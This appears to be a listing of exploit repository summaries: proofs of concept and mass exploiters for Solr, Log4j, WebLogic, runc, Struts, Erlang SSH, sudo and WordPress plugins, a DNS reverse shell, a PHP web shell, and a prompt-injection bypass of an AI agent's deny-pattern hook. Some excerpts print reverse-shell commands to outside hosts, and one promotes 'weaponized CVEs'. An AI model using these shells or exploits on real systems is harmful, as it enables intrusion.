solrradar

Mass Reconnaissance & Exploitation Framework for Apache Solr Velocity Template Injection → Remote Code Execution 📑 Table of Contents Vulnerability Overview Affected Versions Features Installation Usage Proof of Concept Technical Deep-Dive Detection Methodology Defense & Mitigation Disclaimer...

Reverse_DNS_Shell

DNShell v1.7 Description: A Python Reverse Shell that uses DNS as the C2 channel. Requires: dnslib dnspython pycrypto Gotchyas: don't forget to change your HOST don't forget to change your SECRET key run server first Moar Info: http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

log4j-shell-csw

Log4j Simple Exploit A Proof-Of-Concept Exploit for CVE-2021-44228 vulnerability. Log4j, which is used to log security and performance information, impacts upwards of 3 billion devices that use Java across a variety of consumer and enterprise services, websites and applications, as well as medica...

CVE-2017-10271

Brief Description Command execution with echo output Direct shell upload Tested OK on Linux with WebLogic 10.3.6.0 Usage python weblogicwlswsatexp.py -t 172.16.80.131:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and...

CVE-2022-46196

CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...

CVE-2026-59310

CVE-2026-59310 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 A Commvault Pre-Authenticated Remote Code Execution Proof of Concept See our blog post for technical details Detection in Action python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / |...

TempRoot-Huawei

TempRoot-Huawei Temporary root for Huawei hardened kernel via CVE-2019-2215 This code is written for P20 Pro CLT-AL00, and kernel offset is taken from firmware with build fingerprint: 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' Background Like Samsung's KNOX, Huawei adde...

CVE-2026-24061-lab

CVE-2026-24061 — Reproduction Lab ⚠️ For educational purposes only. Isolated lab environment. Français ci-dessous Summary Critical authentication bypass CVSS 9.8 in GNU InetUtils telnetd ≤ 2.7. By injecting -f root as the USER variable via the Telnet NEWENVIRON option, an unauthenticated attacker...

CVE-2025-55182-GodzillaMemoryShell

CVE-2025-55182-GodzillaMemoryShell help usage: exploit.py -h --proxy PROXY --utf16 --unicode --key KEY --target TARGET CVE-2025-55182 Godzilla Memoryshell options: -h, --help show this help message and exit --proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888 --utf16 Enable UTF-16 encodin...

cve-2025-32433

Build » git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433 » docker build -t erlang-ssh . » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port...

poc-rebar3

Rebar3 shell injection CVE-2020-13802 Proof of concept git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean Credit Alexey Pronin @vulnbe References Rebar3 vulnerability analysis Vulnerability remediation PR CVE-2020-13802 CWE-78: Improper Neutralization of Special Element...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Remote Shell Go-based exploit for CVE-2025-32433 returning a remote bash shell. Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433. Running the Exploit make exploit.exe is also made available for Windows machines by the cross-compilation...

CVE-2026-109331

Network-AI versions 5.14.0 before 5.15.2 contain a security control bypass vulnerability within the ClaudeHookBridge PreToolUse hook . The root cause is that the system matches deny patterns only against the first present candidate field. This allows a prompt-injected agent to bypass security res...

p0wny-shell

p0wny@shell: -- Single-file PHP Shell p0wny@shell: is a very basic, single-file, PHP shell. It can be used to quickly execute commands on a server when pentesting a PHP application. Use it with caution: this script represents a security risk for the server. Features: Command history using arrow...

CVE-2024-25832-PoC

CVE-2024-25830 and CVE-2024-25832 - DataCube3 Improper Access Control and Unrestricted File Upload. Overview This repository features a Proof of Concept PoC for a two-step exploit chain targeting DataCube3 devices. It combines CVE-2024-25830 Improper Access Control to extract root passwords and...

CVE-2025-32463_chwoot

CVE-2025-32463 – sudo chroot "chwoot" PoC This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature. This vulnerability is reported by Rich Mirch @0xm1rch on X @ Stratascale. Original post: Vulnerability...

CVE-2026-14894

CVE-2026-14894 Arbitrary File Upload Nxploited Mass Exploiter — Super Forms & Elementor Pro 🩸 Join our Telegram for the latest exclusive 0-days & weaponized CVEs 📡 Channel: https://t.me/KNxploited 👤 Nxploited | @Kxploit A high-speed, multi-threaded mass exploiter that chains two unauthenticated...